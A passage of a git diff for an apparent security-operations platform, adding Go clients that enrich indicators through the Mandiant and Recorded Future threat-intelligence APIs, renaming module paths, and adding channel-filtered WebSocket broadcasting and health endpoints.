seconds+}++// token returns a cached bearer token, refreshing if expired.+func (c *MandiantClient) token(ctx context.Context) (string, error) {+ c.tokenMu.Lock()+ defer c.tokenMu.Unlock()++ if c.bearer != "" && time.Now().Before(c.tokenExpiry.Add(-30*time.Second)) {+ return c.bearer, nil+ }++ form := url.Values{"grant_type": {"client_credentials"}, "scope": {"appliance.search"}}+ req, err := http.NewRequestWithContext(ctx, http.MethodPost,+ mandiantBaseURL+"/token", strings.NewReader(form.Encode()))+ if err != nil {+ return "", err+ }+ req.SetBasicAuth(c.apiKey, c.apiSecret)+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")+ req.Header.Set("Accept", "application/json")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return "", fmt.Errorf("mandiant token request failed: %w", err)+ }+ defer resp.Body.Close()++ if resp.StatusCode >= 400 {+ body, _ := io.ReadAll(resp.Body)+ return "", fmt.Errorf("mandiant token HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))+ }++ var tr mandiantTokenResponse+ if err := json.NewDecoder(resp.Body).Decode(&tr); err != nil {+ return "", fmt.Errorf("mandiant token parse: %w", err)+ }+ c.bearer = tr.AccessToken+ c.tokenExpiry = time.Now().Add(time.Duration(tr.ExpiresIn) * time.Second)+ return c.bearer, nil+}++// mandiantIndicator captures the v4 /indicator schema (subset).+type mandiantIndicator struct {+ ID string `json:"id"`+ Type string `json:"type"`+ Value string `json:"value"`+ Mscore int `json:"mscore"` // 0-100+ FirstSeen string `json:"first_seen"`+ LastSeen string `json:"last_seen"`+ ThreatRating struct {+ ThreatScore int `json:"threat_score"`+ Severity string `json:"severity"`+ } `json:"threat_rating"`+ AttributedAssociations []struct {+ ID string `json:"id"`+ Name string `json:"name"`+ Type string `json:"type"` // malware | threat-actor | campaign+ } `json:"attributed_associations"`+ Categories []string `json:"categories"`+ MISPTags []string `json:"misp"`+ Sources []struct {+ FirstSeen string `json:"first_seen"`+ LastSeen string `json:"last_seen"`+ OsintURL string `json:"osint_url"`+ SourceName string `json:"source_name"`+ Category string `json:"category"`+ } `json:"sources"`+}++// EnrichIP queries Mandiant for IP indicator intel.+func (c *MandiantClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, "ipv4", ip)+}++// EnrichDomain queries Mandiant for FQDN intel.+func (c *MandiantClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, "fqdn", domain)+}++// EnrichURL queries Mandiant for URL intel.+func (c *MandiantClient) EnrichURL(ctx context.Context, u string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeURL, "url", u)+}++// EnrichHash queries Mandiant for file-hash intel.+func (c *MandiantClient) EnrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ // Mandiant accepts md5/sha1/sha256 under the same /indicator endpoint.+ return c.lookup(ctx, IOCTypeHash, "md5", hash)+}++func (c *MandiantClient) lookup(ctx context.Context, iocType IOCType, mType, value string) (*EnrichmentResult, error) {+ bearer, err := c.token(ctx)+ if err != nil {+ return nil, err+ }++ endpoint := fmt.Sprintf("%s/v4/indicator/%s/%s",+ mandiantBaseURL, mType, url.PathEscape(value))++ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+bearer)+ req.Header.Set("Accept", "application/json")+ req.Header.Set("X-App-Name", "AiSOC-Enrichment")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("mandiant request failed: %w", err)+ }+ defer resp.Body.Close()++ body, err := io.ReadAll(resp.Body)+ if err != nil {+ return nil, fmt.Errorf("mandiant read error: %w", err)+ }++ switch {+ case resp.StatusCode == http.StatusNotFound:+ return nil, nil+ case resp.StatusCode == http.StatusUnauthorized,+ resp.StatusCode == http.StatusForbidden:+ // invalidate cached token so next call refreshes+ c.tokenMu.Lock()+ c.bearer = ""+ c.tokenMu.Unlock()+ return nil, fmt.Errorf("mandiant auth error (HTTP %d)", resp.StatusCode)+ case resp.StatusCode == http.StatusTooManyRequests:+ return nil, fmt.Errorf("mandiant rate-limited")+ case resp.StatusCode >= 400:+ return nil, fmt.Errorf("mandiant HTTP %d: %s",+ resp.StatusCode, strings.TrimSpace(string(body)))+ }++ var ind mandiantIndicator+ if err := json.Unmarshal(body, &ind); err != nil {+ return nil, fmt.Errorf("mandiant parse error: %w", err)+ }++ result := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: float64(ind.Mscore),+ Confidence: float64(ind.ThreatRating.ThreatScore),+ ThreatCategory: ind.ThreatRating.Severity,+ Tags: append([]string{}, ind.MISPTags...),+ Sources: []EnrichmentSource{+ {Name: mandiantSourceName, Tier: mandiantSourceTier, Timestamp: time.Now()},+ },+ EnrichedAt: time.Now(),+ }++ for _, cat := range ind.Categories {+ result.Tags = append(result.Tags, "mandiant:"+cat)+ }++ for _, a := range ind.AttributedAssociations {+ switch strings.ToLower(a.Type) {+ case "malware":+ result.Classification.Malware = append(result.Classification.Malware, a.Name)+ case "threat-actor", "threat_actor":+ result.Classification.ThreatActors = append(result.Classification.ThreatActors, a.Name)+ case "campaign":+ result.Classification.Campaigns = append(result.Classification.Campaigns, a.Name)+ }+ }++ if t, ok := parseCybleTime(ind.FirstSeen); ok {+ result.FirstSeen = &t+ }+ if t, ok := parseCybleTime(ind.LastSeen); ok {+ result.LastSeen = &t+ }++ return result, nil+}diff --git a/services/enrichment/internal/enricher/recorded_future.go b/services/enrichment/internal/enricher/recorded_future.gonew file mode 100644index 000000000..529392c8b--- /dev/null+++ b/services/enrichment/internal/enricher/recorded_future.go@@ -0,0 +1,236 @@+// Package enricher: Recorded Future Connect API client.+//+// Recorded Future scores indicators on a 0-99 scale and exposes a "Risk Rule"+// taxonomy explaining why. We map their `risk.score` → RiskScore and surface+// the matched risk rules as tags + threat categories.+//+// Docs: https://api.recordedfuture.com/v2/ (X-RFToken auth)+package enricher++import (+ "context"+ "encoding/json"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "time"+)++const (+ rfBaseURL = "https://api.recordedfuture.com/v2"+ rfSourceName = "recorded-future"+ rfSourceTier = "commercial"+)++// RecordedFutureClient queries the Recorded Future Connect API.+type RecordedFutureClient struct {+ apiKey string+ httpClient *http.Client+}++// NewRecordedFutureClient builds the client.+func NewRecordedFutureClient(apiKey string) *RecordedFutureClient {+ return &RecordedFutureClient{+ apiKey: apiKey,+ httpClient: &http.Client{+ Timeout: 12 * time.Second,+ },+ }+}++func (c *RecordedFutureClient) configured() bool { return c != nil && c.apiKey != "" }++// rfResponse models the subset of fields used across IP/domain/hash/URL endpoints.+type rfResponse struct {+ Data struct {+ Risk struct {+ Score int `json:"score"` // 0-99+ Criticality int `json:"criticality"` // 0-4+ CriticalityLabel string `json:"criticalityLabel"` // None | Unusual | Suspicious | Malicious | Very Malicious+ RiskString string `json:"riskString"`+ RiskSummary string `json:"riskSummary"`+ Rules int `json:"rules"` // count of triggered rules+ EvidenceDetails []rfEvidenceDetail `json:"evidenceDetails"`+ } `json:"risk"`+ ThreatLists []struct {+ Name string `json:"name"`+ Description string `json:"description"`+ } `json:"threatLists"`+ IntelCard string `json:"intelCard"`+ Timestamps struct {+ FirstSeen string `json:"firstSeen"`+ LastSeen string `json:"lastSeen"`+ } `json:"timestamps"`+ Location struct {+ Location struct {+ Country struct {+ Name string `json:"name"`+ } `json:"country"`+ City struct {+ Name string `json:"name"`+ } `json:"city"`+ } `json:"location"`+ Organization string `json:"organization"`+ ASN string `json:"asn"`+ } `json:"location"`+ RelatedEntities []struct {+ Type string `json:"type"`+ Entities []struct {+ Entity struct {+ Name string `json:"name"`+ Type string `json:"type"`+ } `json:"entity"`+ } `json:"entities"`+ } `json:"relatedEntities"`+ } `json:"data"`+}++type rfEvidenceDetail struct {+ Rule string `json:"rule"`+ EvidenceString string `json:"evidenceString"`+ CriticalityLabel string `json:"criticalityLabel"`+ Criticality int `json:"criticality"`+ Timestamp string `json:"timestamp"`+ MitigationString string `json:"mitigationString"`+}++// EnrichIP queries Recorded Future for IP risk + context.+func (c *RecordedFutureClient) EnrichIP(ctx context.Context, ip string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeIP, "ip", ip)+}++// EnrichDomain queries Recorded Future for domain risk.+func (c *RecordedFutureClient) EnrichDomain(ctx context.Context, domain string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeDomain, "domain", domain)+}++// EnrichHash queries Recorded Future for file-hash risk.+func (c *RecordedFutureClient) EnrichHash(ctx context.Context, hash string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeHash, "hash", hash)+}++// EnrichURL queries Recorded Future for URL risk.+func (c *RecordedFutureClient) EnrichURL(ctx context.Context, u string) (*EnrichmentResult, error) {+ if !c.configured() {+ return nil, nil+ }+ return c.lookup(ctx, IOCTypeURL, "url", u)+}++func (c *RecordedFutureClient) lookup(ctx context.Context, iocType IOCType, kind, value string) (*EnrichmentResult, error) {+ endpoint := fmt.Sprintf("%s/%s/%s?fields=risk,threatLists,intelCard,timestamps,location,relatedEntities",+ rfBaseURL, kind, url.PathEscape(value))++ req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)+ if err != nil {+ return nil, err+ }+ req.Header.Set("X-RFToken", c.apiKey)+ req.Header.Set("Accept", "application/json")+ req.Header.Set("User-Agent", "AiSOC-Enrichment/1.0")++ resp, err := c.httpClient.Do(req)+ if err != nil {+ return nil, fmt.Errorf("recorded future request failed: %w", err)+ }+ defer resp.Body.Close()++ body, err := io.ReadAll(resp.Body)+ if err != nil {+ return nil, fmt.Errorf("recorded future read error: %w", err)+ }++ switch {+ case resp.StatusCode == http.StatusNotFound:+ return nil, nil+ case resp.StatusCode == http.StatusUnauthorized,+ resp.StatusCode == http.StatusForbidden:+ return nil, fmt.Errorf("recorded future auth error (HTTP %d)", resp.StatusCode)+ case resp.StatusCode == http.StatusTooManyRequests:+ return nil, fmt.Errorf("recorded future rate-limited")+ case resp.StatusCode >= 400:+ return nil, fmt.Errorf("recorded future HTTP %d: %s",+ resp.StatusCode, strings.TrimSpace(string(body)))+ }++ var rf rfResponse+ if err := json.Unmarshal(body, &rf); err != nil {+ return nil, fmt.Errorf("recorded future parse error: %w", err)+ }++ d := rf.Data+ // RF score is 0-99; rescale to 0-100.+ risk := float64(d.Risk.Score)+ if risk > 100 {+ risk = 100+ }++ result := &EnrichmentResult{+ IOCType: iocType,+ Value: value,+ RiskScore: risk,+ Confidence: float64(d.Risk.Criticality) * 25, // 0-100 from 0-4+ ThreatCategory: d.Risk.CriticalityLabel,+ Sources: []EnrichmentSource{+ {Name: rfSourceName, Tier: rfSourceTier, Timestamp: time.Now()},+ },+ EnrichedAt: time.Now(),+ }++ // Tags: triggered rules + threat lists+ for _, ev := range d.Risk.EvidenceDetails {+ if ev.Rule != "" {+ result.Tags = append(result.Tags, "rf:"+ev.Rule)+ }+ }+ for _, tl := range d.ThreatLists {+ result.Tags = append(result.Tags, "rf:list:"+tl.Name)+ }++ // Geo (IPs only)+ if d.Location.Location.Country.Name != "" || d.Location.ASN != "" {+ result.GeoLocation = &GeoLocation{+ Country: d.Location.Location.Country.Name,+ City: d.Location.Location.City.Name,+ ASOrg: d.Location.Organization,+ }+ }++ // Related entities → MITRE / actors / malware+ for _, rel := range d.RelatedEntities {+ for _, ent := range rel.Entities {+ switch strings.ToLower(ent.Entity.Type) {+ case "malwaresignature", "malware":+ result.Classification.Malware = append(result.Classification.Malware, ent.Entity.Name)+ case "threatactor":+ result.Classification.ThreatActors = append(result.Classification.ThreatActors, ent.Entity.Name)+ case "attackvector", "mitreattackidentifier":+ if strings.HasPrefix(ent.Entity.Name, "T") {+ result.Classification.MITRETechniques = append(result.Classification.MITRETechniques, ent.Entity.Name)+ }+ case "operation", "campaign":+ result.Classification.Campaigns = append(result.Classification.Campaigns, ent.Entity.Name)+ }+ }+ }++ if t, ok := parseCybleTime(d.Timestamps.FirstSeen); ok {+ result.FirstSeen = &t+ }+ if t, ok := parseCybleTime(d.Timestamps.LastSeen); ok {+ result.LastSeen = &t+ }++ return result, nil+}diff --git a/services/enrichment/internal/enricher/types.go b/services/enrichment/internal/enricher/types.goindex 8b2032862..8fb57b2ff 100644--- a/services/enrichment/internal/enricher/types.go+++ b/services/enrichment/internal/enricher/types.go@@ -47,10 +47,41 @@ type PortInfo struct {// EnrichmentSource tracks which data sources contributed to enrichment.type EnrichmentSource struct {Name string `json:"name"`+ Tier string `json:"tier,omitempty"` // "open-source", "free", "commercial"Timestamp time.Time `json:"timestamp"`Cached bool `json:"cached"`}+// DarkWebContext captures dark-web / underground forum mentions+// (Cyble, Flashpoint, Intel 471).+type DarkWebContext struct {+ Mentions int `json:"mentions"`+ Sources []string `json:"sources,omitempty"` // forum / market names+ FirstSeen *time.Time `json:"first_seen,omitempty"`+ LastSeen *time.Time `json:"last_seen,omitempty"`+ Categories []string `json:"categories,omitempty"` // e.g. "ransomware-leak", "credential-dump"+ Excerpt string `json:"excerpt,omitempty"` // redacted snippet+}++// VulnerabilityRef links an IOC to disclosed vulnerabilities.+type VulnerabilityRef struct {+ CVE string `json:"cve"`+ CVSS float64 `json:"cvss,omitempty"`+ EPSS float64 `json:"epss,omitempty"`+ Exploited bool `json:"exploited"`+ KEV bool `json:"kev"` // CISA Known Exploited Vuln+ Description string `json:"description,omitempty"`+}++// BrandRisk surfaces brand-protection signals (Cyble, RiskIQ, DomainTools).+type BrandRisk struct {+ Score int `json:"score"` // 0-100+ LookalikeOf string `json:"lookalike_of,omitempty"`+ Phishing bool `json:"phishing"`+ Defacement bool `json:"defacement"`+ Indicators []string `json:"indicators,omitempty"`+}+// EnrichmentResult is the unified enrichment output for any IOC type.type EnrichmentResult struct {IOCType IOCType `json:"ioc_type"`@@ -75,6 +106,9 @@ type EnrichmentResult struct {IsDatacenter bool `json:"is_datacenter"`LastSeen *time.Time `json:"last_seen,omitempty"`FirstSeen *time.Time `json:"first_seen,omitempty"`+ DarkWeb *DarkWebContext `json:"dark_web,omitempty"`+ Vulnerabilities []VulnerabilityRef `json:"vulnerabilities,omitempty"`+ BrandRisk *BrandRisk `json:"brand_risk,omitempty"`Sources []EnrichmentSource `json:"sources"`EnrichmentErrors []string `json:"enrichment_errors,omitempty"`EnrichedAt time.Time `json:"enriched_at"`diff --git a/services/enrichment/internal/handler/handler.go b/services/enrichment/internal/handler/handler.goindex 69a9ad985..b661024b9 100644--- a/services/enrichment/internal/handler/handler.go+++ b/services/enrichment/internal/handler/handler.go@@ -6,7 +6,7 @@ import ("strings""time"- "github.com/cyble/aisoc/enrichment/internal/enricher"+ "github.com/beenuar/aisoc/enrichment/internal/enricher""github.com/rs/zerolog/log")diff --git a/services/enrichment/internal/server/server.go b/services/enrichment/internal/server/server.goindex ad8843166..34ea46d81 100644--- a/services/enrichment/internal/server/server.go+++ b/services/enrichment/internal/server/server.go@@ -6,7 +6,7 @@ import ("net/http""time"- "github.com/cyble/aisoc/enrichment/internal/handler"+ "github.com/beenuar/aisoc/enrichment/internal/handler""github.com/go-chi/chi/v5""github.com/go-chi/chi/v5/middleware""github.com/go-chi/cors"diff --git a/services/enrichment/main.go b/services/enrichment/main.goindex 2bce4c1ee..bbc9ddfc2 100644--- a/services/enrichment/main.go+++ b/services/enrichment/main.go@@ -8,11 +8,11 @@ import ("syscall""time"- "github.com/cyble/aisoc/enrichment/internal/cache"- "github.com/cyble/aisoc/enrichment/internal/config"- "github.com/cyble/aisoc/enrichment/internal/enricher"- "github.com/cyble/aisoc/enrichment/internal/handler"- "github.com/cyble/aisoc/enrichment/internal/server"+ "github.com/beenuar/aisoc/enrichment/internal/cache"+ "github.com/beenuar/aisoc/enrichment/internal/config"+ "github.com/beenuar/aisoc/enrichment/internal/enricher"+ "github.com/beenuar/aisoc/enrichment/internal/handler"+ "github.com/beenuar/aisoc/enrichment/internal/server""github.com/rs/zerolog""github.com/rs/zerolog/log")@@ -46,12 +46,47 @@ func main() {// Initialize enrichere := enricher.New(enricher.Config{- Cache: redisCache,- VirusTotalAPIKey: cfg.VirusTotalAPIKey,- AbuseIPDBAPIKey: cfg.AbuseIPDBAPIKey,- GreyNoiseAPIKey: cfg.GreyNoiseAPIKey,+ Cache: redisCache,+ VirusTotalAPIKey: cfg.VirusTotalAPIKey,+ AbuseIPDBAPIKey: cfg.AbuseIPDBAPIKey,+ GreyNoiseAPIKey: cfg.GreyNoiseAPIKey,+ CybleAPIKey: cfg.CybleAPIKey,+ CybleBaseURL: cfg.CybleBaseURL,+ RecordedFutureAPIKey: cfg.RecordedFutureAPIKey,+ MandiantAPIKey: cfg.MandiantAPIKey,+ MandiantAPISecret: cfg.MandiantAPISecret,+ AnomaliUsername: cfg.AnomaliUsername,+ AnomaliAPIKey: cfg.AnomaliAPIKey,+ AnomaliBaseURL: cfg.AnomaliBaseURL,+ XForceAPIKey: cfg.XForceAPIKey,+ XForceAPIPassword: cfg.XForceAPIPassword,+ FlashpointAPIKey: cfg.FlashpointAPIKey,+ Intel471Username: cfg.Intel471Username,+ Intel471APIKey: cfg.Intel471APIKey,+ DomainToolsUsername: cfg.DomainToolsUsername,+ DomainToolsAPIKey: cfg.DomainToolsAPIKey,+ RiskIQUsername: cfg.RiskIQUsername,+ RiskIQAPIKey: cfg.RiskIQAPIKey,+ CrowdstrikeIntelID: cfg.CrowdstrikeIntelID,+ CrowdstrikeIntelSecret: cfg.CrowdstrikeIntelSecret,})+ log.Info().+ Bool("virustotal", cfg.VirusTotalAPIKey != "").+ Bool("abuseipdb", cfg.AbuseIPDBAPIKey != "").+ Bool("greynoise", cfg.GreyNoiseAPIKey != "").+ Bool("cyble", cfg.CybleAPIKey != "").+ Bool("recorded_future", cfg.RecordedFutureAPIKey != "").+ Bool("mandiant", cfg.MandiantAPIKey != "" && cfg.MandiantAPISecret != "").+ Bool("anomali", cfg.AnomaliAPIKey != "").+ Bool("xforce", cfg.XForceAPIKey != "").+ Bool("flashpoint", cfg.FlashpointAPIKey != "").+ Bool("intel471", cfg.Intel471APIKey != "").+ Bool("domaintools", cfg.DomainToolsAPIKey != "").+ Bool("riskiq", cfg.RiskIQAPIKey != "").+ Bool("crowdstrike_intel", cfg.CrowdstrikeIntelID != "" && cfg.CrowdstrikeIntelSecret != "").+ Msg("Threat intelligence providers configured")+// Initialize handler and serverh := handler.New(e)srv := server.New(cfg.HTTPPort, h)diff --git a/services/ingest/go.mod b/services/ingest/go.modindex 738344364..1eeaa9c31 100644--- a/services/ingest/go.mod+++ b/services/ingest/go.mod@@ -1,4 +1,4 @@-module github.com/cyble/aisoc/services/ingest+module github.com/beenuar/aisoc/services/ingestgo 1.21diff --git a/services/ingest/internal/handler/handler.go b/services/ingest/internal/handler/handler.goindex 68319a7f8..738b169b6 100644--- a/services/ingest/internal/handler/handler.go+++ b/services/ingest/internal/handler/handler.go@@ -7,9 +7,9 @@ import ("net/http""time"- "github.com/cyble/aisoc/services/ingest/internal/config"- "github.com/cyble/aisoc/services/ingest/internal/normalizer"- "github.com/cyble/aisoc/services/ingest/internal/publisher"+ "github.com/beenuar/aisoc/services/ingest/internal/config"+ "github.com/beenuar/aisoc/services/ingest/internal/normalizer"+ "github.com/beenuar/aisoc/services/ingest/internal/publisher""github.com/rs/zerolog/log")diff --git a/services/ingest/internal/normalizer/normalizer.go b/services/ingest/internal/normalizer/normalizer.goindex 0c508bdc1..4868a8f31 100644--- a/services/ingest/internal/normalizer/normalizer.go+++ b/services/ingest/internal/normalizer/normalizer.go@@ -8,9 +8,9 @@ import ("strings""time"- "github.com/cyble/aisoc/services/ingest/internal/attck"- "github.com/cyble/aisoc/services/ingest/internal/config"- "github.com/cyble/aisoc/services/ingest/internal/enrichment"+ "github.com/beenuar/aisoc/services/ingest/internal/attck"+ "github.com/beenuar/aisoc/services/ingest/internal/config"+ "github.com/beenuar/aisoc/services/ingest/internal/enrichment""github.com/google/uuid""github.com/rs/zerolog/log")diff --git a/services/ingest/internal/publisher/publisher.go b/services/ingest/internal/publisher/publisher.goindex 2b08f0750..c2c6ed219 100644--- a/services/ingest/internal/publisher/publisher.go+++ b/services/ingest/internal/publisher/publisher.go@@ -6,9 +6,9 @@ import ("encoding/json""fmt"- "github.com/cyble/aisoc/services/ingest/internal/config"- "github.com/cyble/aisoc/services/ingest/internal/enrichment"- "github.com/cyble/aisoc/services/ingest/internal/normalizer"+ "github.com/beenuar/aisoc/services/ingest/internal/config"+ "github.com/beenuar/aisoc/services/ingest/internal/enrichment"+ "github.com/beenuar/aisoc/services/ingest/internal/normalizer""github.com/rs/zerolog/log"kafka "github.com/segmentio/kafka-go")diff --git a/services/ingest/internal/server/server.go b/services/ingest/internal/server/server.goindex 24da7d588..2f9a766cf 100644--- a/services/ingest/internal/server/server.go+++ b/services/ingest/internal/server/server.go@@ -7,8 +7,8 @@ import ("net/http""time"- "github.com/cyble/aisoc/services/ingest/internal/config"- "github.com/cyble/aisoc/services/ingest/internal/handler"+ "github.com/beenuar/aisoc/services/ingest/internal/config"+ "github.com/beenuar/aisoc/services/ingest/internal/handler""github.com/go-chi/chi/v5""github.com/go-chi/chi/v5/middleware""github.com/go-chi/cors"diff --git a/services/ingest/main.go b/services/ingest/main.goindex 28b7c57fd..6d364f370 100644--- a/services/ingest/main.go+++ b/services/ingest/main.go@@ -12,11 +12,11 @@ import ("syscall""time"- "github.com/cyble/aisoc/services/ingest/internal/config"- "github.com/cyble/aisoc/services/ingest/internal/handler"- "github.com/cyble/aisoc/services/ingest/internal/normalizer"- "github.com/cyble/aisoc/services/ingest/internal/publisher"- "github.com/cyble/aisoc/services/ingest/internal/server"+ "github.com/beenuar/aisoc/services/ingest/internal/config"+ "github.com/beenuar/aisoc/services/ingest/internal/handler"+ "github.com/beenuar/aisoc/services/ingest/internal/normalizer"+ "github.com/beenuar/aisoc/services/ingest/internal/publisher"+ "github.com/beenuar/aisoc/services/ingest/internal/server""github.com/rs/zerolog""github.com/rs/zerolog/log")diff --git a/services/realtime/src/index.ts b/services/realtime/src/index.tsindex d9018c13f..cfcab252e 100644--- a/services/realtime/src/index.ts+++ b/services/realtime/src/index.ts@@ -21,36 +21,80 @@ app.use(express.json());const server = http.createServer(app);// --- WebSocket server ----const wss = new WebSocketServer({ server, path: '/ws' });+// Accept both `/ws` (legacy) and `/ws/:channel` (preferred). The channel lets+// callers say up-front what they care about (alerts, cases, agents, all) so we+// can avoid spamming a panel that only renders alerts with case/agent traffic.+type Channel = 'alerts' | 'cases' | 'agents' | 'all';+const VALID_CHANNELS: Channel[] = ['alerts', 'cases', 'agents', 'all'];-// Client registry: tenantId -> Set of WebSocket clients+const wss = new WebSocketServer({ noServer: true });++server.on('upgrade', (req, socket, head) => {+ const url = new URL(req.url || '/', `http://localhost`);+ const parts = url.pathname.split('/').filter(Boolean);+ // /ws → channel "all"+ // /ws/<channel> → that channel (must be in VALID_CHANNELS)+ if (parts[0] !== 'ws') {+ socket.destroy();+ return;+ }+ const requested = (parts[1] as Channel | undefined) || 'all';+ if (!VALID_CHANNELS.includes(requested)) {+ socket.destroy();+ return;+ }+ wss.handleUpgrade(req, socket, head, (ws) => {+ (ws as any)._aisocChannel = requested;+ wss.emit('connection', ws, req);+ });+});++// Client registry keyed by tenantId. We additionally tag each socket with the+// channel it subscribed to so broadcasts can filter cheaply.const clients = new Map<string, Set<any>>();wss.on('connection', (ws, req) => {const url = new URL(req.url || '/', `http://localhost`);const tenantId = url.searchParams.get('tenant_id') || 'default';+ const channel: Channel = (ws as any)._aisocChannel ?? 'all';if (!clients.has(tenantId)) {clients.set(tenantId, new Set());}clients.get(tenantId)!.add(ws);- log.info({ tenantId, totalClients: clients.get(tenantId)!.size }, 'WebSocket client connected');+ log.info(+ { tenantId, channel, totalClients: clients.get(tenantId)!.size },+ 'WebSocket client connected',+ );ws.on('close', () => {clients.get(tenantId)?.delete(ws);- log.info({ tenantId }, 'WebSocket client disconnected');+ log.info({ tenantId, channel }, 'WebSocket client disconnected');});- ws.send(JSON.stringify({ type: 'connected', tenantId }));+ ws.send(JSON.stringify({ type: 'connected', tenantId, channel }));});-function broadcastToTenant(tenantId: string, message: object) {+/**+ * Map message type → which channel(s) should receive it. "all" always wins.+ * Add new mappings here when you wire additional Kafka topics through.+ */+const CHANNEL_FOR_TYPE: Record<string, Channel[]> = {+ 'alert.fused': ['alerts', 'all'],+ 'case.updated': ['cases', 'all'],+ 'agent.event': ['agents', 'all'],+};++function broadcastToTenant(tenantId: string, message: { type: string } & Record<string, unknown>) {const tenantClients = clients.get(tenantId);if (!tenantClients) return;+ const allowed = CHANNEL_FOR_TYPE[message.type] ?? ['all'];const payload = JSON.stringify(message);for (const client of tenantClients) {- if (client.readyState === 1 /* OPEN */) {+ if (client.readyState !== 1 /* OPEN */) continue;+ const subscribed: Channel = (client as any)._aisocChannel ?? 'all';+ if (subscribed === 'all' || allowed.includes(subscribed)) {client.send(payload);}}@@ -118,9 +162,17 @@ async function startKafkaConsumer() {}// --- Health endpoint ----app.get('/health', (_req, res) => {- res.json({ status: 'healthy', service: 'aisoc-realtime', clients: wss.clients.size });-});+// Expose both `/health` (canonical) and `/healthz` (k8s + frontend default) so+// callers don't have to guess.+const reportHealth = (_req: express.Request, res: express.Response) => {+ res.json({+ status: 'healthy',+ service: 'aisoc-realtime',+ clients: wss.clients.size,+ });+};+app.get('/health', reportHealth);+app.get('/healthz', reportHealth);// --- Start ---server.listen(PORT, async () => {